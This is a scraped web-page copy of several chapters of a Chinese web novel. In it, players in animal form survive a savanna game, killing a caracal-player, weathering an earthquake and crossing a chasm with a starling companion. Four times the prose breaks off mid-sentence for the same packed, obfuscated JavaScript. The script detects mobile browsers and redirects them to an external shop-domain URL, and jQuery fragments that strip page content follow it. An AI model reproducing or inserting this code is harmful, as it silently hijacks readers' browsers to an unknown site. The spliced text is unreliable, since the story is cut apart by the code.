宁安然居高临下地看着那奄奄一息的老人,锐利和癫狂的两道视线撞在一起,谁也不肯退让。 “我会爬上食物链的顶端,获得真正的自由。” 老人则仿佛听到了世界上最好笑的笑话一样,“哈哈”地笑个不停。 每笑一次,就有一股鲜血从他的嘴里喷出来,越到后面,他所吐出的血液就越少。 直到最后,血迹干涸在了他的脸上,他也停了动作。 草原上安静了下来,微风吹过枯草,发出“沙沙”的声响。 宁安然站在坑边,低头看着老人的脸——他是在笑她天真,还是在笑自己终于解脱了? 唐婧的爪子不断颤抖着:“他……他是死、死了吗?” 还没等宁安然回答,老人的身体就消失了,泥泞的坑里只剩下了一堆肉块和皮毛,夹杂着两颗发着白光的灵魂。 这个游戏反复提醒着她,死亡就等价于一堆物资。 “糖糖,你可以去捡一下他掉的东西吗?我没力气下去了。”宁安然疲惫地在大坑旁边趴了下来,又变回了狐獴形态。 唐婧愣了好一会儿,才慢半拍地点了点头。她甚至试图顺着陡峭的坑壁爬下去,宁安然怕她摔伤,戳了一下她后背提醒,她才后知后觉地开始挖洞下去。 见过了老人凄惨的死状后,唐婧现在干什么反应都慢半拍。 宁安然轻碰了一下后背上的伤势,不禁“嘶”了一声,那上面火辣辣地疼。 刚才狞猫掉进坑里的时候,她的后背被他的爪子狠狠划了一道,每动一下都能感觉到身后的撕裂。 过了几分钟,宁安然脚边的土动了动,唐婧从里面冒了出来,把捡到的东西全都摊在了地上。 【检测到狞猫皮毛碎片*2,狞猫肉*6,兔绒*3,树枝*2,狞猫灵魂*1,野兔灵魂*1是否收入背包中?】 “看起来这个老家伙之前捕猎了一只兔子。”宁安然说道。 也就是说,这个老人进入游戏之后,已经吃掉了一只兔子,一天之内饱食度仍然掉到了50以下。 所以,对捕食者来说,每天都需要捕杀猎物才能活下去。 就和自然界真实情况一样。 宁安然轻轻叹息了一声——还好她没有被分配到捕食者阵营。要是每天都得杀一个人,那心理压力还是很大的。 想到这儿,宁安然的动作顿了一下。 她现在,不也是每天都在杀人吗? 昨天是冠雕,今天是这个狞猫老人。 她抿了抿下唇,强行将异样的想法抛之脑后。是这个游戏把她逼到了不反杀就会死的情况,又不是她能决定的。 为了生存下去,找到回到现实世界的入口,她只能让自己习惯这里的游戏规则。 “正好,我升到2级需要猛兽皮毛碎片。”宁安然刚打算把皮毛碎片收进背包,突然想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470644|201460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个问题,“对了,糖糖,你的升级材料是什么?要用到皮毛么?” 唐婧则摇了摇头,把皮毛碎片用大爪子推到了宁安然的怀里:“不用担心我啦,我用不上。” 她碰了一下左爪打开终端,调到【猎物等级】的界面给宁安然看。 【猎物等级:1级-初曦】 【进化到2级-清晨,需要提交以下材料:】 【活蚯蚓:1/15】 【硬土块:0/10】 【地下虫茧:0/10】 【完整的大型植物根须:2/20】 唐婧需要的全是在地底下找的东西,和宁安然的升级材料完全不一样。 宁安然也把自己需要的材料展示给了唐婧看,唐婧看到后,迷你的豆豆眼瞪大了几分。 “哇塞,你这些都是捕食者身上的材料哇,难道这游戏要让你当捕食者的捕食者,捕‘捕食者’者?” 宁安然无语,她要是有这能耐,就不至于这样东躲西藏的了。 宁安然抬爪戳了一下唐婧的脸颊肉:“才不是!应该只是想让我侦查捕食者的动向,然后捡点材料而已。” 唐婧颇为失望地“哦——”了一声,然后把那两个灵魂小球推到宁安然的面前:“小柠,这个你应该也用得上。” 宁安然拾取了狞猫灵魂和野兔灵魂,将它们放进主动技能里面炼化。 【获得体验卡:猫跃-获得卓越的跳跃能力,可以跳至十米高度(30秒)】 【获得体验卡:耳簇定位-在耳朵上长出狞猫的耳簇,精准感知50米内所有玩家的位置(10秒)】 这两张是狞猫灵魂炼化而成的体验卡,宁安然思索了一下,把“耳簇定位”推给了唐婧。 “糖糖,这个你拿着,万一遇到危险了可以用。” 唐婧愣了一下,没有去接那张体验卡:“这个这个,这不是你用主动技能换来的嘛,还是你留着吧。” 宁安然则不由分说地把卡塞到了唐婧的爪里,故作生气地瞪了她一眼:“你自己说过,咱俩还客气啥?我有危险预警,这张卡对我来说用处不大,你可以留着防身。” 唐婧本就不是扭捏的性格,听到宁安然这话之后,她贴过来蹭了蹭宁安然的皮毛:“嘿嘿,谢谢。” 宁安然继续查看着剩下两张体验卡。 【获得体验卡:装死-使用后将倒地不动,期间呼吸和心跳停滞,肌肉僵硬(30秒)】 【获得体验卡:狡兔三窟-显示当前半径50米内的三个天然庇护点,包括石峰、洞穴、裂隙等,任何能容纳使用者体型的藏身处(5秒)】 这“狡兔三窟”是张很实用的卡,但“装死”感觉没有任何用处啊! 在自然界,野兔可以通过装死来避免引起捕食者的注意,因为有些捕食者只吃新鲜的猎物,而不吃已经死亡的猎物。 但在这个游戏里,死亡的玩家会直接变成肉块和灵魂,死没死一眼就能看出来。而且捕猎者们应该也没有不能吃死物的禁忌。 宁安然无奈,但还是将卡收进了背包里,不要白不要。 她直接把狞猫毛皮碎片提交了任务,剩下的兔绒和树枝则被唐婧收了起来。 两人踏上了回家的路。 8. 稀树草原 在回洞穴的路上,一向活泼的唐婧却相当沉默,只是安静地挪动着爪子,盯着脚下的泥土。 宁安然能看得出来,她应该是还沉浸在刚才那老人死去的惨状中。 她凑过去轻轻撞了一下唐婧:“怎么这么安静?我还以为是阿檬在我旁边呢。” “柠檬糖”三人组中,就数郝萌的存在感最低。她的话很少,仿佛随时会融入周围的空气中消失不见。 唐婧勉强地咧了咧嘴,扬起一个笑容:“我没事的~谁能打倒无敌的糖糖大人呢?” 她嘴上这么说着,爪子却下意识地避开了地上颜色更深的那几块红褐色泥土。 宁安然能看出来,她多半是还在想着坑底的那滩血肉。 经历了刚才的一番波折后,天色已经暗了下来。夕阳的余晖打在两个女孩的身上,将她们的影子拉得很长。 无论发生了什么事,太阳总是照常升起,照常落下。 “嘿,糖糖,那个老人的身体本来就不好,就算没碰到我们,他也活不了多久了。” 以狞猫的灵活程度,不至于掉进坑里就会被摔死。那老人很明显有旧伤,那一摔才变成了压倒他的最后一根稻草。 “诶,原来是这样吗?”听到这话,唐婧豆豆眼中的眼神没有刚才那么黯淡了。 “嗯。”宁安然点点脑袋。 不过她很清楚,要想在这个世界存活下去,仁慈绝对是第一个要舍弃的美德。 她们要是对捕食者善良,捕食者可不会回报以善良。 …… 在天色彻底暗下来之前,唐婧和宁安然回到了河崖边的洞穴中。 经过漫长的一天,她们的理智值都见底了。 吃了点东西补充完饱食度之后,一鼠一獴蜷缩在了洞穴中央的小干草床上,互相依靠着准备睡觉。 洞穴里很安静,只有彼此细小的呼吸声,和通风口里偶尔传来的风声。白天的扑杀声、尖叫声和系统警告声,似乎都被隔绝在了这层土墙之外。 宁安然甚至产生了一种错觉——好像只要把这里再修的稳固一点,囤一点食物和水,她们就真的能在这片草原上有一个落脚的地方。 不过,她知道,这个世界不会那么轻易地放过她。 宁安然闭上了眼睛。 昏昏沉沉间,她回到了儿时住着的地下室里。 雨水淅淅沥沥地打在老旧的窗框上,虽然不大,却足以渗透木檐缝隙。 宁安然抱膝坐在地上,地板上翘起来的木板在她的轻微晃动下吱呀作响。 她烟灰色的眼睛在瘦削的小脸上显得格外突出,紧盯着从窗户缝里淌进来的雨水。 这扇窗户就是宁安然唯一的消磨时间的方式。窗户开在墙壁的最高处,几乎贴着天花板,只露出一条窄窄的长方形,与外面的地面齐平。 她看着旧皮鞋踩进路灯的倒影里,溅起一池水花;看着橘子从牛皮纸袋里落到地上,又被自行车轮给压扁;看着楼上房东家里养的黑猫在屋檐下踱步,肚子下面的白毛掉了几根,粘在了窗户上。 她甚至感觉到自己的灵魂飘了起来,在天花板的角落盯着看向窗外的自己。 外面的世界正发生着很多事,但她没有办法出去参与。 因为,外面的“捕食者”太多了。 路上的小孩觉得好玩会把她推倒在地上,棋牌室里的大人会毫不顾忌地把烟头扔在她的脚边。 当然,他们并不是讨厌宁安然。只是因为宁安然在“食物链”上的位置太低了,欺负她根本没有任何后果。 雨水顺着墙壁上的裂痕滑落下来,在裂痕的尽头又划开一道新的裂痕。 那一道道裂痕从墙面上一直蔓延到地面上,连带着整个狭小的地下室都震动了起来。 在地上坐着的宁安然皱起了眉,她摸了一下身下,木地板已经完全裂开了,她的指尖摸了一手的土,甚至摸到了土地上的裂缝。 等等,这感觉不像在做梦…… 宁安然猛地睁开眼,现在是半夜时分,洞穴里漆黑一片,什么也看不见,但她明显地感觉到周围在剧烈地晃动。 身下的干草已经不知道掉到哪去了,她往身下一摸,爪子又一次摸到了泥土上的裂缝。 刚才的感觉不是幻觉! 一旁的唐婧也被这动静惊醒了,她圆滚滚的身体向这边翻了一圈,撞到了宁安然的身上。 “啊!小……小柠,这什么动静,是地震了吗?” 晚上的洞穴里伸手不见五指,宁安然很难判断发生了什么:“不知道……哎哟!” 一颗小石子砸到了宁安然的头上,应该是从洞穴顶掉下来的。接下来又有几颗沙土砸到了她们身上,两人只能摸着黑抱头鼠窜。 就在她们说话的时候,大地的震动在逐渐变弱,她们身下的泥土也没有继续开裂了。 过了几秒钟之后,地震彻底停了,仿佛刚才什么也没发生过一样。 唐婧一头雾水,语气中还带着困意:“什么情况哇,我们要不要出去看看?” “可能刚才有大型动物经过这里吧。我们还是别出去了,等天亮了再说。”宁安然说道。 狐獴的夜视能力很差,鼹鼠就更别提了,在夜里完全是瞎子。她们俩现在要是出洞就相当于美食自己主动走进出餐口。 唐婧本来就困得不行,闻言立刻就倒了下去。宁安然也重新躺回了地上,但过了很久才重新睡着。 她总觉得,刚才的震动应该不像是动物经过那么简单。 阳光从洞穴的通风口里洒落了进来,一个小光点直直地照在了狐獴的黑眼圈上。 宁安然迷迷糊糊地睁开眼,被光线刺了一下之后又不禁闭上了眼。 她立刻就意识到了不对劲。 洞穴的通风口明明是斜向的,周围还有野草遮挡着,怎么会有阳光直射进来? 她又一次猛地睁开了眼——她没有看错,头顶的穴壁比入睡前更近了,整个洞现在倾斜了一些,那条原本斜向的通风口,现在变成了一条近乎垂直的直道。 “糖糖,你醒醒。”她用爪子扒拉了一下鼹鼠。 “唔…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470645|201460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”唐婧翻了个身,缓缓睁开了豆大的眼睛,“好饿,我好饿啊……” “先别想吃的了,昨天晚上不是有大型动物经过这里吗?它好像把我们的洞踩塌了一点。”宁安然朝天花板上指了指。 唐婧用大黑爪子揉了下眼睛,仰起头朝天上看,在看到比昨天更低的天花板之后清醒了不少:“诶?真的耶!我们的洞被踩扁了。” “赶紧出去看看吧!”宁安然朝河崖那一侧的洞口爬了过去。 两人顺着洞穴通道向外爬行,离外面越近,宁安然就越觉得不对劲。 她们明明放了个土块遮住洞口,但为什么会有光透进来?而且还不是那种从缝隙里漏出来的光,而是一大片敞亮的光。 宁安然三两步跑到了洞口,面前的景象让她目瞪口呆。 没错,洞口的土块已经不在了。 不仅土块不在了,洞口外面的所有东西也都消失了,空空如也。 宁安然的前爪搭上了洞口边缘,身子探出去,环顾着周围的环境。 她记忆里的河道、河道对面的红土地、以及土地长着的一棵金合欢树其实全都还在。只不过,它们现在和她之间隔了一道有几十米宽的裂口,垂直切入地面,底下深不见底。 两侧地面仿佛被一股巨大的力量从中间拉开,如同掰断一块饼干一般,暗红色的深层土壤暴露在阳光下,断面整齐,还没有风化的痕迹。 微风从裂隙底部涌上来,经过洞口的时候发出了低沉的呼声,吹得宁安然毛发倒竖。 唐婧挤到了宁安然的身边,外面的景象令她的嘴张成了“O”形。 “不是吧不是吧,咱这只是睡了一觉,怎么家里的墙就变成悬崖了啊!” 唐婧说得没错,裂隙不只在她们洞穴这一块,而是沿着河道的两端延伸,一直到几公里开外的地方拐了个弯,绕向她们看不见的身后方向。 她们现在正在一座岛上,而洞口正处在岛屿的侧边。 宁安然突然想到了一种可能,她打开了终端。 【早上好,宁安然。当前时间为:旱季第1日,上午7:13。】 【雨季将在6日后降临,请做好准备。】 现在已经到了旱季,而照这个游戏的惯例,旱季肯定不只是干旱一些那么简单。 “……在稀树草原地形,旱季的时候土地不够潮湿,所以大地会开裂。我想,这游戏应该是把‘开裂’这个设定做到了极致。”宁安然无奈地说道。 果然,这个游戏一定不会轻易放过她…… 刚挖好的全封闭小窝,现在直接变成半露天的了。 唐婧看着那深不见底的裂隙,用爪子扒拉了一粒石子扔了下去。 石子不断地下坠着,一直到他们都看不清石子的位置了,都没有发出任何落地的声响。 “挺好的,现在出门不仅怕被吃掉,还要怕一不小心摔死。”唐婧耸了耸肩。 在她们朝洞口探头探脑的时候,上方传来了一道公鸭般的声音。 “喂,下面那两只猎物,别往下看了!” 9. 稀树草原 宁安然抬起了头,只见一个少年正趴在地面上,龇牙咧嘴地往下看。 那少年大约十六七岁的年纪,穿着一件很宽大的T恤,胸前印着骷髅头。他的头发凌乱地坠在额前,其中一撮刘海染成了红色。 宁安然警惕地看着他——她的雷达没有响,但也不能排除他不是捕食者的可能。 “你是谁?有什么事?”宁安然扬声问道。 “我们一起……%#^*” 就在少年说话的时候,一阵风从裂隙底吹了上来,吞噬了他的后半句话,还让他趔趄了一下,差点掉下来。 要是他是捕食者的话,也太不当心了…… “哇,小弟弟你小心点啊!”唐婧为他倒吸了一口凉气。 那少年朝下看了看,随后他走到了悬崖边,向下纵身一跃。 他竟然从上面跳了下来! 宁安然和唐婧都瞪大了眼睛,目不转睛地盯着他的动作。然而,他却没有不受控制地向下坠落,而是在空中变化成了一只小鸟,拍打着蓝绿色的虹彩羽毛落在了她们两人的面前。 唐婧看着他这一番行云流水的动作有些愣神,宁安然轻轻撞了一下她的爪子:“他是椋鸟,不是捕食者。” 椋鸟是雀类的一种,以多变的叫声出名,身上长着蓝绿色或紫色的羽毛,在阳光下会反射着虹彩的光芒,非常漂亮。 “我当然不是捕食者了!” 破锣一般的声音从小鸟的黄色尖嘴里冒了出来,倒是显得意外地合适。 “我要是捕食者的话,还会和你们打招呼么?肯定早就冲进来大开杀戒了!”他扬了扬翅膀,做出了威慑的姿态。 不过看着他那只有二十厘米的小身板,实在是没什么威慑力。 宁安然还是没有完全放下戒心,站在洞口看向椋鸟:“你找我们有什么事?” 椋鸟清咳了两声,挺起胸膛说道:“我们一起去找旱季秘宝吧,虽然你们看起来很弱,但我也不是不能勉为其难地和你们一起行动。” 宁安然青筋一凸——这人说话也太烦人了点。 “什么是旱季秘宝?”唐婧疑惑地问道。 椋鸟那白色的小眼睛难以置信地看着她们:“妈呀不是吧,你们居然连这都不知道,快看看终端吧!” 宁安然轻抚左爪打开了终端,只见【活动】那一栏有一个小红点。 她在昨晚被地震惊醒的时候确实隐隐听到了系统的提示音,但是周围的动静太大,所以被她直接忽视了。 【旱季活动-寻找秘宝: 活动描述:恭喜你在地震里活了下来……或者说,暂时活了下来。大地被分成了四分五裂的岛屿,好消息是,在这些岛屿中,其中一个岛屿上有一件神秘的宝物能帮你无痛度过旱季。坏消息是,你不知道它在哪一个岛上。据说……那个秘宝从远处看有点反光? 活动目标:获得旱季秘宝。】 地震只是个开始,这个游戏里的“旱季”果然没有那么简单。 宁安然从刚醒来的时候就发现了,今天比之前两天要热很多,也干燥很多。照理来说,稀树草原上的旱季只是雨水少一点而已,不至于这么干热。 以后很可能会比今天更热,想顺利度过旱季,光是囤水囤粮肯定不够,这个秘宝绝对会让生存变得容易很多。 “哼哼,光是靠你们两个小老鼠,连隔壁的岛都过不去吧?我捡了几条藤蔓,可以帮你们拉藤蔓到旁边的岛上,然后你们就能爬过去了。”椋鸟得意洋洋地说道。 听到椋鸟的提议,宁安然沉思了几秒。 虽然这只鸟的语气很恼人,但不可否认他说的是事实。 她的飞行体验卡只够让她们挪到一个临近的岛屿上,没法支撑她们去更多的岛屿寻找秘宝。如果有一个会飞的动物能帮忙搭桥,那肯定会顺利很多。 只是,这椋鸟肯定也有所图谋。 “哇塞,你这么好心的吗?还是说,你想要我们也帮你什么?”唐婧眨了眨眼。 还没等椋鸟说话,宁安然就淡淡地开口道:“我猜,他应该是想要食物。” 椋鸟张了张嘴但没有发出声音,宁安然看到他那吃瘪的样子,就知道自己是猜对了。 他主动来找她们,应该不是缺食物就是缺水。而池塘就在离这里不远的地方,他作为鸟类根本不用管周围的巨型蚂蚁,直接进去喝水就可以了。所以他肯定是缺食物。 椋鸟在野外以地面上的昆虫和水果为食,而在这座岛上,这两种都是稀缺资源。 “……哼,要不是外面根本找不到吃的,我才不会来找你们这两个小老鼠呢!”椋鸟歪过了脑袋,不去看她们的表情。 宁安然的语气冷了下来:“想合作可以,但你得放尊重点。你如果再用‘老鼠’称呼我们一次,我就把你的羽毛拔下来做羽绒服。” 她们确实需要一个能飞的动物来帮她们搭桥,但宁安然也完全能靠任务发布系统找到,不一定非得是这只脾气很大的椋鸟。 椋鸟一噎,脖子上的一圈羽毛炸了开来,像被人踩了尾巴的猫一样。 “谁、谁要跟你们合作了!我就是来……来考察一下你们的实力,哼,外面有的是人等着我合作呢!” 虽然他这么说,但他的爪子可没有往洞外移半步。 宁安然看着他这嘴硬的架势,不禁嗤笑了一声:“呵,你不是有翅膀吗,怎么不飞走啊?” “你!”椋鸟的小白眼球都快瞪出眼眶了。 唐婧是最受不了尴尬的气氛的,见宁安然和少年僵持不下,她连忙钻到两人中间:“哎呀哎呀,我们进去说吧,继续呆在这里我都要被风吹成老鼠干了!” 随后她左爪推着小鸟,右爪推着狐獴,把两个小动物往洞里赶。 回到洞穴后,三人就都默契地变回了人形态。 虽然动物形态很方便,但毕竟他们算第一次见面,还是用人形态交流更自然一点。 少年看着面前一鼠一獴变成的样子,耳根微微泛红。 唐婧长着一张娃娃脸,整洁的短发垂落在耳垂,圆圆的小猫似的眼睛灵动有神。她穿着带泡泡袖的短袖衬衫和百褶短裙,模样清秀可爱。 而宁安然相比于唐婧则少了几分亲和,多了一些清冷。她墨色的长发扎成了一束利落的高马尾,皮肤白皙透亮,手腕和手肘上有着几道陈年伤痕,简单的白衬衫和牛仔裤勾勒出她纤瘦的身形轮廓。 她如同一个橱窗里的模特,看上去很标志,但令人总感觉隔着一层厚厚的玻璃。 少年抿着嘴没有说话。 “你叫什么名字?”宁安然问道。 “……林行。” “我是宁安然。” 林行没有接话,宁安然也接着陷入了沉默。 两个人之间逐渐凝固的空气快要憋死唐婧了,她吐了一口气,打圆场道:“我是唐婧,你是不是饿了?这样,你先吃点东西,然后我们慢慢商量要怎么去找秘宝。” 唐婧掏了一块薯蓣出来,递给了林行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470646|201460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林行轻哼了一声,脸上依然是一副拽得不行的表情,手却伸过去接过了薯蓣,然后迫不及待地大口吃了起来。 在他吃东西的时候,唐婧继续缓和着气氛:“林行,你的能力是什么呀?我的被动是有额外的储物格,主动是能很快地打洞。” 林行把最后一小块薯蓣给咽了下去,含糊不清地说着:“窝的被动是拟声记忆,愣……能把听过的动物叫声记录下来,还能知道它离我有多远。怎么样,厉害吧? “我的主动是可以模仿记录过的叫声,你们听。” 林行变成了椋鸟形态,张开黄色的尖嘴。 “嗷——” 一声嘹亮的虎啸从他嘴里传了出来,震得他们脚下的碎石都在微微发颤。 她们两人都被这一嗓子吓了一跳。宁安然知道椋鸟非常擅长模仿声音,有的甚至比鹦鹉、八哥还厉害,但没想到林行能模仿得这么真实,就好像真有一只老虎在朝她们咆哮一样。 看到两个女孩的反应,林行得意地变回了人形,鼻子都快扬得比天还高了。 “哼哼,可别被我吓死了,小老……小姐姐们。” 他强行把自己要冒出嗓子眼的蔑称咽了回去。 宁安然也和林行简单解释了一下自己的能力,顺便把这两天遭遇冠雕和狞猫的经历也告诉了他。 听说眼前的这个猎物连续两天反杀了两个捕食者,林行的下巴往前一探,拉长了脖子,仿佛是一只人形的鸟在确认自己有没有听错。 “不是,你们不是在吹牛吧?那么大的鸟和会跳高的猫,都被你们搞定了?!” 宁安然勾起一抹笑容,手掌一翻,就把那张“装死”体验卡捏在了指尖:“嗯,这就是我们和狞猫殊死搏斗之后,用他灵魂炼化而成的体验卡。既然我们接下来要开始合作了,那这张卡就送给你了,作为见面礼。” 虽然林行的态度很讨人厌,但他是个聪明人。在寻求合作的时候,他已经提前准备好了能帮助到她们的藤蔓,是带着诚意来的。 她不介意和聪明人合作互惠。 林行的眼睛一下子亮了,他迫不及待地接过白卡。 宁安然却没有直接给他,而是捏在了手里。 “你记住,我们虽然只合作几天,但合作期间你也要守规矩。第一,你在飞行的时候看到的、听到的信息,全部都要告诉我们。我们也是一样,会把陆地上的信息告诉你。 “第二,做事不要莽撞,任何决定都和我们商量了之后再行动。 “如果在路上遇到捕猎者的话,你不用管我们,各凭本事逃跑就行。” 林行原本没什么反应,在听到宁安然最后一句话的时候,他的表情停滞了一下,随后很快又恢复了那一副不可一世的样子。 “好好好,知道了。那我们可以出发了吧?” 唐婧看着整装待发的林行歪了歪头:“林行,你知道秘宝在哪个岛上吗?” 活动任务里,除了说秘宝从远处看上去有点反光之外,没有其他任何的信息。 林行理所当然地说道:“肯定不在这个岛上,我刚才飞了一圈,没有什么会反光的东西。先去隔壁岛上看看呗。” 宁安然点了点头。椋鸟不是迁徙候鸟,一次只能连续飞一两公里,他在这么短的时间里能把这个小岛巡视一圈已经很不错了。 “不能盲目地去找,还是得有一个方向才行,我有办法。” 宁安然果断按下了终端里的【任务发布】图标。 10. 稀树草原 【任务标题:秘宝情报搜集 任务内容:面对秘宝,你现在是否像无头苍蝇一样毫无头绪(?⊿?)?请先搜集秘宝情报提交到这里,然后再行动吧! 任务奖励:狞猫肉*1(100%新鲜度)。】 宁安然从唐婧的手上接过三块狞猫肉,将它们投入【任务奖励】那一栏,选择了把任务发给周围的3名猎物,然后点击了“发布任务”。 唐婧告诉过她,她的任务会发到周围玩家的【活动】界面。 所以她这次故意模仿了游戏系统的语气,这样玩家们就会以为这是系统发的任务,然后放下戒心,乖乖把情报交给她。 【您的任务“秘宝情报搜集”已发布,任务序号:2。任务的剩余时间为:15小时55分钟48秒,今日剩余可发布任务数为:0。】 林行看到宁安然的操作,震惊地合不拢嘴:“你、你还能给其他人发任务?你开挂了吧!” “没想到吧小弟弟,这是小柠第一天反杀大老鹰之后拿到的隐藏系统,她就是用这个系统找到我的!”唐婧骄傲地挽着宁安然的手臂。 饶是自恋得不行的林行,看到这个系统之后也服气了。 “柠檬姐,你有点东西啊。” 林行这称呼让宁安然想翻白眼。 就在这时,宁安然的脑海里传来了一道提示音。 【“2-秘宝情报搜集”任务已被1名玩家标记为完成,请在14小时36分钟内验收,逾期将自动判定为通过。】 “任务已经被人完成了。”宁安然向另外两人说道。 “嚯!这么效率的吗!”林行感叹道。 一鸟一鼠的两个小脑袋凑了过来,看向宁安然左爪上的【任务发布】界面。 【玩家1:我看到我隔壁的岛上好像有一块反光的东西,而且还会动!】 【玩家已提供任务所需坐标,已显示在您的地图上。】 宁安然打开了地图界面,此刻他们所在位置的西边出现了一道巨大的裂缝。她缩小地图之后,原本完整的陆地现在变成了大大小小的岛屿。 等她的爪尖划到玩家标记的坐标位置后,三人都眼睛一亮。 那个标记的岛离他们非常近,中间只隔了一座岛屿,就是洞口前裂隙正对面的那座! “好家伙,敢情这就在咱家门口啊!”林行的尾羽一翘,抬头看向旁边的岛屿。 宁安然点了点小脑袋:“嗯,不管这情报是真是假,反正离得近,就先过去看看吧。” “哇塞了都,我们运气也太好了吧~”唐婧眨了眨眼睛,“会反光还会动……那到底是个什么东西?会不会是什么高科技产物?” 林行立刻接话道:“那也太无聊了吧!我觉得肯定是一个会跑的宝箱啊,说不定打开之后还有宝箱怪!” “总之,到那里我们就知道了,走吧。”宁安然说道。 三只小动物从洞穴另一侧通往地面的出口钻了出来。 旱季的炽热阳光毫无遮挡地打在了他们身上,宁安然眯起了眼睛,伸出前爪在额前挡了一下光。 原本还算湿润的地面如今处处都是裂纹,地面上的杂草枯萎了许多,红褐色的泥土裸露了出来。 对面一侧有一棵金合欢树可以当支点,而他们所在的这一侧光秃秃的一片。林行用喙甩出了一根长长的藤蔓,叼着藤蔓的一头朝对面的岛屿飞去:“我去那头先搭上了嗷,你们整一下这头吧。” 他落在了对面的岛屿,将藤蔓绕着金合欢树的一支粗大的树杈缠了几圈,随后用翅膀辅助尖喙,灵巧地打了一个死结。 “我们就埋土里吧,然后放点石头压住。”宁安然提议道。 唐婧便在岛屿的边缘挖了一个小坑,把藤蔓的这一头埋了进去。宁安然在上面垒了几块从附近找来的碎石,唐婧又刨了几把土盖上去压实,拍了拍爪子。 林行抬喙扯了扯藤蔓确认松紧,随后朝她们这边吼道:“柠檬姐,糖糖姐,妥了!稳得很!” 宁安然瞥了唐婧一眼,鼹鼠的豆豆眼里满是犹豫不决,于是她便首当其冲地爬到了藤蔓边。 “我先来试试看。” 她伸出前爪搭了上去,先试了试承重,藤蔓微微下沉,但没有绷断的迹象。于是她不再犹豫,四爪扣紧藤蔓,一步一步向对面横移过去。 宁安然挪出了岛屿,来到裂隙上空。风从裂隙底部倒灌上来,吹得她身上的黄棕色短毛全都竖了起来。 以前在城中村的时候,楼宇之间的距离都特别近,穿堂风总是很大,卷起地上的垃圾和人性的丑恶吹打在她的身上。 在这种环境里,能做的唯有向上看。 宁安然的视线始终盯着对面藤蔓所捆绑着的树杈,不断地向上攀爬着。林行则跟在她的旁边一路护送着,爪子搭在她的肩头,随时准备拽她。 他体型太小了,没办法带着狐獴和鼹鼠飞行,但在她们快掉下去的时候拉一把还是能做到的。 攀爬藤蔓的这几分钟漫长得像几小时一样,直到宁安然的浑身都快被冷汗浸透了,她的前爪才终于搭上了对岸的土壤。 林行的爪子使了点力,带着她顺利地爬了上去。 “糖糖姐,你也过来呗!”林行喊道。 唐婧站在裂隙对岸,圆圆的黑色小脑袋上写满了纠结。她不比宁安然,她从来没在恶劣的环境里生活过,更别提做这么危险的事了。 宁安然见她迟迟不动作,扬声鼓励道:“别往下看就行,藤蔓是很稳的。” 唐婧低头看了一眼深不见底的裂隙,又抬头看了看细细的藤蔓,最后深吸了一口气。 她抬起两只大爪子,死死地扣住了藤蔓,将整个身体都挂在了上面。 但在她试图像宁安然一样把后腿也搭上去的时候,却发现怎么也使不上劲儿。 “小柠,我脚没力气,怎么办!” 宁安然眯着眼睛朝唐婧的方向仔细看了一眼——鼹鼠粗壮的前肢很有力地抓着藤蔓,而纤细的后肢却软塌塌的,怎么也挂不上去。 她大概知道是什么情况了,对着唐婧喊道:“鼹鼠的前肢有特化的挖掘肌,所以很发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470647|201460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达,你的后肢力量比较弱,就和前驱的汽车一样。你看看能不能只用上肢力量过来,让林行在下面托着你点。” 林行也毫不犹豫,果断地飞到了对岸,落在唐婧身边:“裂隙它不可怕,可怕的是你不敢跨。走,糖糖姐,我护着你。” “好,好吧……” 唐婧露出了壮士上战场般决绝的表情,放弃了用后爪踩着藤蔓的尝试,两只大爪子扒着藤蔓,整个身体悬挂在了藤蔓下方,缓慢地向前爬动。 林行飞到了唐婧的身下,不断拍打着翅膀,用后脊顶着唐婧的下肢,令她少承受了一些体重。 这个姿势令唐婧不自觉地就向深渊底下看,每向前挪一步,她就倒抽一口凉气。 她以前最怕的事,无非是体测八百米和甲方突然改方案。做梦都没有想过,自己居然会在悬崖上走钢丝,旁边还有只鸟在给她加油。 “糖糖姐,你爪子别抖得那么厉害啊,我看着都替你累。”林行在下面还不忘嘴她两句。 